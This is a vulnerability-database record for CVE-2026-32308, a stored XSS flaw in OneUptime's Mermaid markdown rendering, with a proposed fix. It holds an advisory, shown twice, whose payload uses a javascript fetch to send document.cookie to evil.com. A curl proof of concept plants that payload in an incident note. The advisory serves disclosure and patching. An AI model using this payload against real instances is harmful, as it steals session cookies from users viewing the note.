{"id":"CVE-2026-32308","aliases":["EUVD-2026-11720","GHSA-wvh5-6vjm-23qh"],"status":"published","title":"OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: \"loose\" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.","severity":{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00263,"percentile":0.18319,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-03-12T21:29:00Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"npm","package":"oneuptime","fixed_in":["10.0.23"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"oneuptime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.0.23"}]}]},{"source":"osv","ecosystem":"npm","package":"oneuptime","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.0.23"}]}]}],"products":[{"vendor":"hackerbay","product":"oneuptime"},{"vendor":"oneuptime","product":"oneuptime"}],"references":[{"url":"https://github.com/OneUptime/oneuptime/security/advisories/GHSA-wvh5-6vjm-23qh","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/OneUptime/oneuptime/releases/tag/10.0.23","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32308","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wvh5-6vjm-23qh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32308.json","tags":["advisory"]},{"url":"https://github.com/OneUptime/oneuptime","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32308","title":"OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: \"loose\" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.","status":"published","published":"2026-03-12T21:29:00.51Z","modified":"2026-03-14T03:43:13.858Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:19:57.100857Z"}],"euvd":[{"id":"EUVD-2026-11720","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: \"loose\" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.","status":"published","published":"2026-03-12T21:29:00Z","modified":"2026-03-14T03:43:13Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:35.010093Z"}],"ghsa":[{"id":"GHSA-wvh5-6vjm-23qh","title":"OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")","description":"### Summary\n\nThe Markdown viewer component renders Mermaid diagrams with `securityLevel: \"loose\"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.\n\n### Details\n\n**Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**\n\n```typescript\n// MarkdownViewer.tsx:76\nmermaid.initialize({\n    securityLevel: \"loose\",  // Allows interactive event bindings\n    // ...\n});\n```\n\nThe Mermaid documentation explicitly warns: `securityLevel: \"loose\"` allows click events and other interactive bindings in diagrams. The safe default is `\"strict\"` which strips all interactivity.\n\n**SVG injection via innerHTML — `MarkdownViewer.tsx:106`:**\n\n```typescript\n// MarkdownViewer.tsx:106\nif (containerRef.current) {\n    containerRef.current.innerHTML = svg;  // Raw SVG injection\n}\n```\n\nAfter Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: \"loose\"`, this allows event handlers embedded in the SVG to execute.\n\n**Mermaid XSS payload:**\n\n```markdown\n```mermaid\ngraph TD\n    A[\"Click me\"]\n    click A callback \"javascript:fetch('https://evil.com/?c='+document.cookie)\"\n```​\n```\n\nWith `securityLevel: \"loose\"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.\n\n### PoC\n\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Create an incident note with Mermaid XSS payload\ncurl -s -X POST 'https://TARGET/api/incident-note' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"data\": {\n      \"incidentId\": \"INCIDENT_ID\",\n      \"note\": \"## Root Cause Analysis\\n\\n```mermaid\\ngraph TD\\n    A[\\\"Load Balancer\\\"] --\u003e B[\\\"App Server\\\"]\\n    click A callback \\\"javascript:fetch('\"'\"'https://evil.com/?c='\"'\"'+document.cookie)\\\"\\n```\",\n      \"noteType\": \"RootCause\"\n    }\n  }'\n\n# Any user viewing this incident note will have their cookies exfiltrated\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. securityLevel: \"loose\":\ngrep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 76: securityLevel: \"loose\"\n\n# 2. innerHTML injection:\ngrep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 106: containerRef.current.innerHTML = svg\n```\n\n### Impact\n\n**Stored XSS in any markdown-rendered field.** Affects:\n\n1. **Incident notes/descriptions** — viewed by on-call engineers during incidents\n2. **Status page announcements** — viewed by public visitors\n3. **Monitor descriptions** — viewed by team members\n4. **Any markdown field** — the MarkdownViewer component is shared across the UI\n\nThe \"loose\" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application.\n\n### Proposed Fix\n\n```typescript\n// 1. Change securityLevel to \"strict\" (default safe mode):\nmermaid.initialize({\n    securityLevel: \"strict\",  // Strips all interactive bindings\n    // ...\n});\n\n// 2. Use DOMPurify on the SVG output before innerHTML injection:\nimport DOMPurify from \"dompurify\";\n\nif (containerRef.current) {\n    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {\n        USE_PROFILES: { svg: true, svgFilters: true },\n        ADD_TAGS: ['foreignObject'],\n    });\n}\n```","status":"published","published":"2026-03-13T20:00:38Z","modified":"2026-03-16T17:06:50Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:36.642723Z"}],"nvd":[{"id":"CVE-2026-32308","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: \"loose\" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.","status":"published","published":"2026-03-13T19:54:42.147Z","modified":"2026-10-07T08:10:00.2Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:09.358914Z"}],"osv":[{"id":"CVE-2026-32308","title":"OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")","description":"OneUptime is a solution for monitoring and managing online services. Prior to 10.0.23, the Markdown viewer component renders Mermaid diagrams with securityLevel: \"loose\" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. This vulnerability is fixed in 10.0.23.","status":"published","published":"2026-03-12T21:29:00.51Z","modified":"2026-10-28T02:30:33.136051699Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:01.218144Z"},{"id":"GHSA-wvh5-6vjm-23qh","title":"OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: \"loose\")","description":"### Summary\n\nThe Markdown viewer component renders Mermaid diagrams with `securityLevel: \"loose\"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.\n\n### Details\n\n**Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:**\n\n```typescript\n// MarkdownViewer.tsx:76\nmermaid.initialize({\n    securityLevel: \"loose\",  // Allows interactive event bindings\n    // ...\n});\n```\n\nThe Mermaid documentation explicitly warns: `securityLevel: \"loose\"` allows click events and other interactive bindings in diagrams. The safe default is `\"strict\"` which strips all interactivity.\n\n**SVG injection via innerHTML — `MarkdownViewer.tsx:106`:**\n\n```typescript\n// MarkdownViewer.tsx:106\nif (containerRef.current) {\n    containerRef.current.innerHTML = svg;  // Raw SVG injection\n}\n```\n\nAfter Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: \"loose\"`, this allows event handlers embedded in the SVG to execute.\n\n**Mermaid XSS payload:**\n\n```markdown\n```mermaid\ngraph TD\n    A[\"Click me\"]\n    click A callback \"javascript:fetch('https://evil.com/?c='+document.cookie)\"\n```​\n```\n\nWith `securityLevel: \"loose\"`, Mermaid processes the `click` directive and creates an SVG element with an event handler that executes the JavaScript.\n\n### PoC\n\n```bash\n# Authenticate\nTOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"user@example.com\",\"password\":\"password123\"}' \\\n  | jq -r '.token')\n\n# Create an incident note with Mermaid XSS payload\ncurl -s -X POST 'https://TARGET/api/incident-note' \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -H 'tenantid: PROJECT_ID' \\\n  -d '{\n    \"data\": {\n      \"incidentId\": \"INCIDENT_ID\",\n      \"note\": \"## Root Cause Analysis\\n\\n```mermaid\\ngraph TD\\n    A[\\\"Load Balancer\\\"] --\u003e B[\\\"App Server\\\"]\\n    click A callback \\\"javascript:fetch('\"'\"'https://evil.com/?c='\"'\"'+document.cookie)\\\"\\n```\",\n      \"noteType\": \"RootCause\"\n    }\n  }'\n\n# Any user viewing this incident note will have their cookies exfiltrated\n```\n\n```bash\n# Verify the vulnerability in source code:\n\n# 1. securityLevel: \"loose\":\ngrep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 76: securityLevel: \"loose\"\n\n# 2. innerHTML injection:\ngrep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx\n# Line 106: containerRef.current.innerHTML = svg\n```\n\n### Impact\n\n**Stored XSS in any markdown-rendered field.** Affects:\n\n1. **Incident notes/descriptions** — viewed by on-call engineers during incidents\n2. **Status page announcements** — viewed by public visitors\n3. **Monitor descriptions** — viewed by team members\n4. **Any markdown field** — the MarkdownViewer component is shared across the UI\n\nThe \"loose\" security level combined with `innerHTML` injection allows arbitrary JavaScript execution in the context of the OneUptime application.\n\n### Proposed Fix\n\n```typescript\n// 1. Change securityLevel to \"strict\" (default safe mode):\nmermaid.initialize({\n    securityLevel: \"strict\",  // Strips all interactive bindings\n    // ...\n});\n\n// 2. Use DOMPurify on the SVG output before innerHTML injection:\nimport DOMPurify from \"dompurify\";\n\nif (containerRef.current) {\n    containerRef.current.innerHTML = DOMPurify.sanitize(svg, {\n        USE_PROFILES: { svg: true, svgFilters: true },\n        ADD_TAGS: ['foreignObject'],\n    });\n}\n```","status":"published","published":"2026-03-13T20:00:38Z","modified":"2026-03-16T17:16:23.319084Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:59.131095Z"}]}}